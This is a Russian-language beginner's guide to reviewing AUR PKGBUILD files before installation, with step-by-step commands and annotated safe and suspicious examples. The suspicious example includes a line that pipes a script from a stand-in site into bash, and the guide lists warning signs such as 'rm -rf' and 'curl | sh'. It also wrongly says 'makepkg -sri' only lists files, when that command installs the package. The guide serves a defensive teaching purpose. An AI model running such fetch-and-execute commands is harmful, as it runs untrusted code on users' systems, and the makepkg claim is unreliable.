Как правильно проверять PKGBUILD при установке пакетов из AUR
Зачем проверять файл PKGBUILD?
Проверка файла PKGBUILD
перед установкой пакетов из Arch User Repository (AUR) - важный шаг для обеспечения безопасности и стабильности системы, так как пакеты из AUR не проходят официальную проверку, как пакеты в репозиториях Manjaro или Arch Linux. Это руководство создано для новичков и поможет минимизировать риски установки небезопасного или проблемного программного обеспечения. Мы разберём процесс шаг за шагом и разберем примеры безопасного и подозрительного PKGBUILD
.
Почему важно проверять PKGBUILD?
- Безопасность:
PKGBUILD
может содержать вредоносный код, который выполняется с правами root (администратора) при установке и может повредить систему. - Стабильность: Неправильные настройки или зависимости могут вызвать сбои в работе программ или системы.
- Качество: Пакет может быть устаревшим, плохо настроенным или несовместимым с вашей версией Manjaro.
Пошаговая инструкция по проверке PKGBUILD
- Клонируйте или скачайте пакет из AUR
- Используйте AUR-хелпер, например
yay
, чтобы скачать файлы пакета без установки:
или клонируйте вручную с помощью Git:yay -G <название_пакета>
git clone https://aur.archlinux.org/<название_пакета>.git
- Пример: Если вы хотите проверить пакет
example-package
, выполните:yay -G example-package
- Это создаст папку с именем пакета, где находится
PKGBUILD
и другие файлы.
- Используйте AUR-хелпер, например
- Перейдите в директорию пакета
- Перейдите в папку:
Например:cd <название_пакета>
cd example-package
- Убедитесь, что
PKGBUILD
есть в папке:
Вы должны увидеть файлls
PKGBUILD
и, возможно, файлы вроде.SRCINFO
или патчей (*.patch
).
- Перейдите в папку:
- Просмотрите содержимое PKGBUILD
- Откройте
PKGBUILD
в текстовом редакторе, напримерnano
илиvim
:
Или используйте графический редактор, напримерnano PKGBUILD
mousepad
илиgedit
. - Для
yay
можно вывестиPKGBUILD
в терминал:
Или получить информацию о пакете:yay -Gp <название_пакета>
yay -Si <название_пакета>
- Откройте
- Проверьте ключевые секции PKGBUILD
- Метаданные:
pkgname
,pkgver
,pkgrel
: Убедитесь, что имя и версия пакета совпадают с тем, что вы ожидаете. Например,pkgname=example-package
,pkgver=1.0.0
.url
: Проверьте, что ссылка ведёт на официальный сайт или репозиторий (например, GitHub, GitLab). Подозрительно, если ссылка отсутствует или ведёт на неизвестный сайт.license
: Лицензия должна соответствовать ПО (например,GPL
,MIT
). Если лицензия отсутствует, это плохой знак.
- Источник (
source
):- Убедитесь, что файлы загружаются из надёжных источников (например,
https://github.com
). - Проверьте, что ссылки используют безопасный протокол (
https
, а неhttp
). - Если используются локальные файлы (патчи), они должны быть в папке пакета и выглядеть безопасно.
- Убедитесь, что файлы загружаются из надёжных источников (например,
- Хэш-суммы (
sha256sums
,md5sums
):- Контрольные суммы подтверждают, что загружаемые файлы не были изменены. Пример:
sha256sums=('a1b2c3d4e5f6...')
. - Если указано
SKIP
, это риск: файл может быть подменён. Всегда проверяйте источник в таком случае.
- Контрольные суммы подтверждают, что загружаемые файлы не были изменены. Пример:
- Зависимости (
depends
,makedepends
):- Проверьте, что зависимости логичны. Например, для текстового редактора ожидаемы зависимости вроде
gtk3
, но подозрительно, если указанnginx
. - Убедитесь, что нет лишних или неизвестных пакетов.
- Проверьте, что зависимости логичны. Например, для текстового редактора ожидаемы зависимости вроде
- Функции сборки (
build()
,package()
):- Это команды, которые выполняются при сборке и установке. Ищите:
- Подозрительные команды, такие как
rm -rf
,sudo
,curl | sh
. - Убедитесь, что установка идёт в
$pkgdir
(временная директория для сборки), а не в системные папки вроде/usr
напрямую. - Избегайте пакетов, выполняющих сетевые запросы без проверки или удаляющих файлы.
- Подозрительные команды, такие как
- Это команды, которые выполняются при сборке и установке. Ищите:
- Метаданные:
- Проверьте дополнительные файлы
- Если есть файл
.install
или патчи (*.patch
), просмотрите их:nano <имя_файла>.install
- Убедитесь, что они не содержат команды, изменяющие системные настройки или удаляющие файлы.
- Если есть файл
- Используйте
makepkg
для проверки сборки- Проверьте целостность файлов без сборки:
Это загрузит файлы изmakepkg --nobuild
source
и проверит их хэш-суммы. - Чтобы увидеть, какие файлы будут установлены:
Это соберёт и покажет список файлов перед установкой.makepkg -sri
- Проверьте целостность файлов без сборки:
- Проверьте комментарии и репутацию пакета
- На странице AUR (aur.archlinux.org) проверьте:
- Комментарии: Пользователи часто пишут о проблемах или уязвимостях.
- Maintainer: Надёжный мейнтейнер (с долгой историей или многими пакетами) вызывает больше доверия.
- Popularity и Last Updated: Устаревшие пакеты (не обновлялись годами) могут быть проблемными.
- Получите информацию о пакете:
yay -Si <название_пакета>
- На странице AUR (aur.archlinux.org) проверьте:
- Используйте безопасные практики
- Изолированная сборка: Используйте
makepkg --clean
для чистой сборки или AUR-хелперы вродеparu
с поддержкой изоляции. - Песочница: Стройте пакеты в
firejail
илиdocker
для дополнительной безопасности. - Проверка вручную: Выполните
makepkg --nobuild
и проверьте файлы в папкеpkg
.
- Изолированная сборка: Используйте
- Установите пакет только после проверки
- Если всё безопасно, установите:
или вручную:yay -S <название_пакета>
makepkg -si
- Если всё безопасно, установите:
Примеры анализа PKGBUILD
Пример 1: Безопасный PKGBUILD
Рассмотрим PKGBUILD
для пакета example-package
, который устанавливает простой текстовый редактор:
pkgname=example-package
pkgver=1.0.0
pkgrel=1
pkgdesc="Простой текстовый редактор"
url="https://github.com/example/project"
license=('MIT')
source=("https://github.com/example/project/archive/v${pkgver}.tar.gz")
sha256sums=('a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b')
depends=('gtk3')
build() {
cd "$srcdir/project-$pkgver"
./configure --prefix=/usr
make
}
package() {
cd "$srcdir/project-$pkgver"
make DESTDIR="$pkgdir" install
}
Разбор:
url
: Ссылка на GitHub - надёжный источник.source
: Загружается tar-архив по HTTPS.sha256sums
: Указана контрольная сумма, можно проверить сmakepkg --nobuild
.depends
: Зависимостьgtk3
логична для графического редактора.build()
иpackage()
: Стандартные команды./configure
,make
,make install
с установкой в$pkgdir
- безопасно.- Вывод: Этот
PKGBUILD
выглядит безопасным, если источник и хэш-суммы проверены.
Пример 2: Подозрительный PKGBUILD
Теперь рассмотрим проблемный PKGBUILD
, который может быть опасным:
pkgname=suspicious-package
pkgver=1.0
pkgrel=1
pkgdesc="Some tool"
url="http://unknown-site.com"
license=('unknown')
source=("http://unknown-site.com/script.sh")
sha256sums=('SKIP')
depends=('bash')
package() {
mkdir -p "$pkgdir/usr/bin"
cp script.sh "$pkgdir/usr/bin/suspicious-tool"
chmod +x "$pkgdir/usr/bin/suspicious-tool"
curl http://unknown-site.com/update.sh | bash
}
Разбор:
url
: Ссылка на неизвестный сайт (http://unknown-site.com
) с протоколомhttp
(небезопасно).source
: Загружается скриптscript.sh
с подозрительного сайта.sha256sums
: УказаноSKIP
, что не позволяет проверить целостность файла.license
: Указаноunknown
- это нестандартно и подозрительно.package()
: Командаcurl http://unknown-site.com/update.sh | bash
выполняет скрипт из интернета без проверки - это очень опасно, так как может содержать вредоносный код.- Вывод: Этот
PKGBUILD
небезопасен. Избегайте установки таких пакетов.
Пример 3: PKGBUILD с патчем
Рассмотрим PKGBUILD
с патчем, чтобы понять, как проверять дополнительные файлы:
pkgname=example-app
pkgver=2.0
pkgrel=1
pkgdesc="Приложение с патчем"
url="https://github.com/example/app"
license=('GPL')
source=("https://github.com/example/app/archive/v${pkgver}.tar.gz" "fix-bug.patch")
sha256sums=('b1c2d3e4f5a6...' 'c1d2e3f4a5b6...')
depends=('qt5-base')
prepare() {
cd "$srcdir/app-$pkgver"
patch -p1 < ../fix-bug.patch
}
build() {
cd "$srcdir/app-$pkgver"
qmake
make
}
package() {
cd "$srcdir/app-$pkgver"
make DESTDIR="$pkgdir" install
}
Разбор:
source
: Загружается архив с GitHub и патчfix-bug.patch
.sha256sums
: Указаны суммы для обоих файлов, что позволяет проверить их целостность.prepare()
: Применяется патч с помощьюpatch -p1
- стандартная практика.- Действия: Просмотрите файл
fix-bug.patch
(nano fix-bug.patch
). Убедитесь, что патч изменяет только код приложения (например, исправляет ошибку) и не добавляет подозрительных команд. - Вывод: Если патч выглядит безопасным (например, изменяет строки в коде без выполнения скриптов), этот
PKGBUILD
можно считать надёжным.
Чего избегать
- Отсутствие хэш-сумм: Если
sha256sums
указано какSKIP
, файлы могут быть подменены. - Скрипты в
source
: Например,source=("script.sh")
может быть опасно, если скрипт выполняется автоматически. - Команды с
sudo
или удалением файлов: Например,rm -rf /tmp/*
илиsudo chmod
вPKGBUILD
или.install
. - Непрозрачные патчи: Если патч содержит бинарные данные или сложный код, это требует дополнительной проверки.
- Сетевые запросы: Команды вроде
curl | bash
илиwget
без проверки содержимого.
Полезные инструменты
- aurutils: Автоматизирует проверку и сборку AUR-пакетов.
- namcap: Анализирует
PKGBUILD
на ошибки и потенциальные проблемы:sudo pacman -S namcap namcap PKGBUILD
- paru или yay: AUR-хелперы с функцией просмотра
PKGBUILD
перед установкой.
Рекомендации для новичков
- Начните с популярных пакетов: они чаще проверены сообществом и более надёжны.
- Читайте комментарии на странице AUR: пользователи часто сообщают о проблемах или уязвимостях.
- Тестируйте в виртуальной машине или контейнере, если не уверены в пакете.
- Создавайте резервные копии системы с помощью
timeshift
перед установкой AUR-пакетов. - Будьте осторожны с обновлениями: команда
yay -Syu
обновляет все пакеты, включая AUR, что может привести к нестабильности.
Комментарии
Отправить комментарий